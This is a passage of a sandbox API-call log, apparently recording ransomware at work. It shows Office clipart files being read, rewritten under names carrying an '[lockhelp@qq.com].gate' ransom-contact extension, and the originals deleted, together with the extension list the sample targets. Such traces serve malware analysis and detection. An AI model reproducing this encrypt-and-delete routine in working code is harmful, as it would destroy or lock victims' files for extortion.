returned 1 [0321.090] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.090] SetEndOfFile (hFile=0x384) returned 1 [0321.090] CloseHandle (hObject=0x384) returned 1 [0321.090] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.091] SetEndOfFile (hFile=0x34c) returned 1 [0321.091] CloseHandle (hObject=0x34c) returned 1 [0321.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0321.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.092] lstrlenW (lpString=".doc") returned 4 [0321.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.092] lstrlenW (lpString=".docx") returned 5 [0321.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.093] lstrlenW (lpString=".pdf") returned 4 [0321.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString=".xls") returned 4 [0321.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.093] lstrlenW (lpString=".xlsx") returned 5 [0321.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.093] lstrlenW (lpString=".ppt") returned 4 [0321.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.093] lstrlenW (lpString=".zip") returned 4 [0321.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.093] lstrlenW (lpString=".rar") returned 4 [0321.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString=".bz2") returned 4 [0321.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString=".7z") returned 3 [0321.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.093] lstrlenW (lpString=".dbf") returned 4 [0321.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.093] lstrlenW (lpString=".1cd") returned 4 [0321.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.093] lstrlenW (lpString=".jpg") returned 4 [0321.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.094] lstrlenW (lpString=".doc") returned 4 [0321.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString=".docx") returned 5 [0321.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.094] lstrlenW (lpString=".pdf") returned 4 [0321.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString=".xls") returned 4 [0321.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.094] lstrlenW (lpString=".xlsx") returned 5 [0321.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.094] lstrlenW (lpString=".ppt") returned 4 [0321.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.094] lstrlenW (lpString=".zip") returned 4 [0321.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.094] lstrlenW (lpString=".rar") returned 4 [0321.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString=".bz2") returned 4 [0321.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString=".7z") returned 3 [0321.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.094] lstrlenW (lpString=".dbf") returned 4 [0321.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.094] lstrlenW (lpString=".1cd") returned 4 [0321.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0321.095] lstrlenW (lpString=".jpg") returned 4 [0321.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.095] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.095] lstrlenW (lpString="AN04269_.WMF") returned 12 [0321.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.095] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2016) returned 1 [0321.095] CloseHandle (hObject=0x34c) returned 1 [0321.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0321.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.096] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.096] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.096] GetLastError () returned 0x0 [0321.096] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0321.473] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0321.474] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.474] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.474] SetEndOfFile (hFile=0x384) returned 1 [0321.474] CloseHandle (hObject=0x384) returned 1 [0321.474] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.474] SetEndOfFile (hFile=0x34c) returned 1 [0321.475] CloseHandle (hObject=0x34c) returned 1 [0321.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0321.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.476] lstrlenW (lpString=".doc") returned 4 [0321.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.476] lstrlenW (lpString=".docx") returned 5 [0321.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.476] lstrlenW (lpString=".pdf") returned 4 [0321.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.476] lstrlenW (lpString=".xls") returned 4 [0321.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.476] lstrlenW (lpString=".xlsx") returned 5 [0321.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.477] lstrlenW (lpString=".ppt") returned 4 [0321.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.477] lstrlenW (lpString=".zip") returned 4 [0321.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.477] lstrlenW (lpString=".rar") returned 4 [0321.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.477] lstrlenW (lpString=".bz2") returned 4 [0321.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.477] lstrlenW (lpString=".7z") returned 3 [0321.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.477] lstrlenW (lpString=".dbf") returned 4 [0321.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.477] lstrlenW (lpString=".1cd") returned 4 [0321.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.477] lstrlenW (lpString=".jpg") returned 4 [0321.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.478] lstrlenW (lpString=".doc") returned 4 [0321.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString=".docx") returned 5 [0321.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.478] lstrlenW (lpString=".pdf") returned 4 [0321.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString=".xls") returned 4 [0321.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.478] lstrlenW (lpString=".xlsx") returned 5 [0321.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.478] lstrlenW (lpString=".ppt") returned 4 [0321.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.478] lstrlenW (lpString=".zip") returned 4 [0321.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.478] lstrlenW (lpString=".rar") returned 4 [0321.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString=".bz2") returned 4 [0321.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString=".7z") returned 3 [0321.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.478] lstrlenW (lpString=".dbf") returned 4 [0321.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.478] lstrlenW (lpString=".1cd") returned 4 [0321.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0321.479] lstrlenW (lpString=".jpg") returned 4 [0321.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.479] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.479] lstrlenW (lpString="BD00173_.WMF") returned 12 [0321.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.479] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=16180) returned 1 [0321.479] CloseHandle (hObject=0x34c) returned 1 [0321.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0321.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.480] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.480] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.480] GetLastError () returned 0x0 [0321.480] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0321.481] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0321.483] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.483] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.483] SetEndOfFile (hFile=0x384) returned 1 [0321.483] CloseHandle (hObject=0x384) returned 1 [0321.483] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.483] SetEndOfFile (hFile=0x34c) returned 1 [0321.484] CloseHandle (hObject=0x34c) returned 1 [0321.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0321.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.485] lstrlenW (lpString=".doc") returned 4 [0321.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.485] lstrlenW (lpString=".docx") returned 5 [0321.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.485] lstrlenW (lpString=".pdf") returned 4 [0321.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.485] lstrlenW (lpString=".xls") returned 4 [0321.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.485] lstrlenW (lpString=".xlsx") returned 5 [0321.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.485] lstrlenW (lpString=".ppt") returned 4 [0321.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.485] lstrlenW (lpString=".zip") returned 4 [0321.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.486] lstrlenW (lpString=".rar") returned 4 [0321.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString=".bz2") returned 4 [0321.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString=".7z") returned 3 [0321.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.486] lstrlenW (lpString=".dbf") returned 4 [0321.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.486] lstrlenW (lpString=".1cd") returned 4 [0321.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.486] lstrlenW (lpString=".jpg") returned 4 [0321.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.486] lstrlenW (lpString=".doc") returned 4 [0321.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString=".docx") returned 5 [0321.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.486] lstrlenW (lpString=".pdf") returned 4 [0321.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.486] lstrlenW (lpString=".xls") returned 4 [0321.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.486] lstrlenW (lpString=".xlsx") returned 5 [0321.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.487] lstrlenW (lpString=".ppt") returned 4 [0321.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.487] lstrlenW (lpString=".zip") returned 4 [0321.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.487] lstrlenW (lpString=".rar") returned 4 [0321.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.487] lstrlenW (lpString=".bz2") returned 4 [0321.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.487] lstrlenW (lpString=".7z") returned 3 [0321.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.487] lstrlenW (lpString=".dbf") returned 4 [0321.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.487] lstrlenW (lpString=".1cd") returned 4 [0321.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0321.487] lstrlenW (lpString=".jpg") returned 4 [0321.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.487] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.487] lstrlenW (lpString="BD05119_.WMF") returned 12 [0321.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.488] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17236) returned 1 [0321.488] CloseHandle (hObject=0x34c) returned 1 [0321.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0321.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.488] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.488] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.489] GetLastError () returned 0x0 [0321.489] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x4354, lpOverlapped=0x0) returned 1 [0321.490] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x4360, lpOverlapped=0x0) returned 1 [0321.491] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.491] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.492] SetEndOfFile (hFile=0x384) returned 1 [0321.492] CloseHandle (hObject=0x384) returned 1 [0321.492] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 